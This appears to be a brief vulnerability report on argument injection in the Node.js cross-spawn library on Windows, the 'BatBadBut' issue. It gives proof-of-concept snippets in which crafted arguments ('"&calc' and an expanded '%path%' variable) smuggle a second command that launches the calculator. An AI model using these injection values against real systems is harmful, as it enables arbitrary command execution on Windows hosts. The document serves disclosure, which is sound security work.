See https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/ Example: ```cmd rem test.cmd echo %1 ``` --- Arbitrary execution: ```javascript const spawn = require('cross-spawn'); // Launches calculator spawn.sync('test.cmd', ['"&calc']); ``` --- Variable expansion: ```javascript // test.js const spawn = require('cross-spawn'); // Launches calculator spawn.sync('test.cmd', ['%path%']); ``` ```cmd C:\> set path^^=^"^&calc C:\> node test.js ```